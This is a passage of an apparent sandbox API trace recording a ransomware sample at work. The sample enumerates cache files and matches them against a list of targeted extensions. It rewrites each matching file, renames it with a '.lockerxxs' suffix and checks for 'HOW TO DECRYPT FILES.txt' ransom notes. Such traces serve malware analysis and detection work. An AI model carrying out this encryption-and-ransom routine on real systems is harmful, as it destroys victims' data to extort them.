(hObject=0xa4) returned 1 [0084.143] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg.lockerxxs")) returned 1 [0084.144] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x532eb190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x636, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBOaeS[1].jpg", cAlternateFileName="BBBOAE~1.JPG")) returned 1 [0084.144] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.144] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBOaeS[1].jpg") returned 1 [0084.144] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBOaeS[1].jpg") returned 1 [0084.144] lstrcmpiA (lpString1="", lpString2="BBBOaeS[1].jpg") returned -1 [0084.144] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg") returned="BBBO8ow[1].jpg" [0084.144] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.144] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.145] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.145] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.145] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBOaeS[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.ems") returned 0 [0084.145] lstrlenA (lpString="*.ems") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.db") returned 0 [0084.145] lstrlenA (lpString="*.db") returned 4 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.dbf") returned 0 [0084.145] lstrlenA (lpString="*.dbf") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.myox") returned 0 [0084.145] lstrlenA (lpString="*.myox") returned 6 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.myo") returned 0 [0084.145] lstrlenA (lpString="*.myo") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qbw") returned 0 [0084.145] lstrlenA (lpString="*.qbw") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qbb") returned 0 [0084.145] lstrlenA (lpString="*.qbb") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qbm") returned 0 [0084.145] lstrlenA (lpString="*.qbm") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qbo") returned 0 [0084.145] lstrlenA (lpString="*.qbo") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qbx") returned 0 [0084.145] lstrlenA (lpString="*.qbx") returned 5 [0084.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qba") returned 0 [0084.145] lstrlenA (lpString="*.qba") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qby") returned 0 [0084.146] lstrlenA (lpString="*.qby") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qbj") returned 0 [0084.146] lstrlenA (lpString="*.qbj") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.ofx") returned 0 [0084.146] lstrlenA (lpString="*.ofx") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.qif") returned 0 [0084.146] lstrlenA (lpString="*.qif") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.mye") returned 0 [0084.146] lstrlenA (lpString="*.mye") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.mbox") returned 0 [0084.146] lstrlenA (lpString="*.mbox") returned 6 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.eml") returned 0 [0084.146] lstrlenA (lpString="*.eml") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.pst") returned 0 [0084.146] lstrlenA (lpString="*.pst") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.ost") returned 0 [0084.146] lstrlenA (lpString="*.ost") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.idx") returned 0 [0084.146] lstrlenA (lpString="*.idx") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.dbx") returned 0 [0084.146] lstrlenA (lpString="*.dbx") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.sql") returned 0 [0084.146] lstrlenA (lpString="*.sql") returned 5 [0084.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.mdb") returned 0 [0084.146] lstrlenA (lpString="*.mdb") returned 5 [0084.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.fdb") returned 0 [0084.147] lstrlenA (lpString="*.fdb") returned 5 [0084.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.wab") returned 0 [0084.147] lstrlenA (lpString="*.wab") returned 5 [0084.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.dat") returned 0 [0084.147] lstrlenA (lpString="*.dat") returned 5 [0084.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.txt") returned 0 [0084.147] lstrlenA (lpString="*.txt") returned 5 [0084.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.jpeg") returned 0 [0084.147] lstrlenA (lpString="*.jpeg") returned 6 [0084.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", pszSpec="*.jpg") returned 1 [0084.147] lstrlenA (lpString="*.jpg") returned 5 [0084.147] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" [0084.147] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" [0084.147] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg." [0084.147] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.lockerxxs" [0084.147] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.148] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x636 [0084.148] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x532eb190, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x532eb190, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x532eb190, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.148] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.148] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x610, lpOverlapped=0x0) returned 1 [0084.150] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg") returned="BBBOaeS[1].jpg" [0084.150] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.150] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x610, lpOverlapped=0x0) returned 1 [0084.150] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.150] CloseHandle (hObject=0xa4) returned 1 [0084.150] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg.lockerxxs")) returned 1 [0084.151] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53278d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53278d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53278d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBOcIb[1].jpg", cAlternateFileName="BBBOCI~1.JPG")) returned 1 [0084.151] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.151] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBOcIb[1].jpg") returned 1 [0084.151] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBOcIb[1].jpg") returned 1 [0084.151] lstrcmpiA (lpString1="", lpString2="BBBOcIb[1].jpg") returned -1 [0084.151] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg") returned="BBBOaeS[1].jpg" [0084.152] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.152] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.152] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.152] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.152] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBOcIb[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.ems") returned 0 [0084.152] lstrlenA (lpString="*.ems") returned 5 [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.db") returned 0 [0084.152] lstrlenA (lpString="*.db") returned 4 [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.dbf") returned 0 [0084.152] lstrlenA (lpString="*.dbf") returned 5 [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.myox") returned 0 [0084.152] lstrlenA (lpString="*.myox") returned 6 [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.myo") returned 0 [0084.152] lstrlenA (lpString="*.myo") returned 5 [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qbw") returned 0 [0084.152] lstrlenA (lpString="*.qbw") returned 5 [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qbb") returned 0 [0084.152] lstrlenA (lpString="*.qbb") returned 5 [0084.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qbm") returned 0 [0084.152] lstrlenA (lpString="*.qbm") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qbo") returned 0 [0084.153] lstrlenA (lpString="*.qbo") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qbx") returned 0 [0084.153] lstrlenA (lpString="*.qbx") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qba") returned 0 [0084.153] lstrlenA (lpString="*.qba") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qby") returned 0 [0084.153] lstrlenA (lpString="*.qby") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qbj") returned 0 [0084.153] lstrlenA (lpString="*.qbj") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.ofx") returned 0 [0084.153] lstrlenA (lpString="*.ofx") returned 5 [0084.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg", pszSpec="*.qif") returned 0 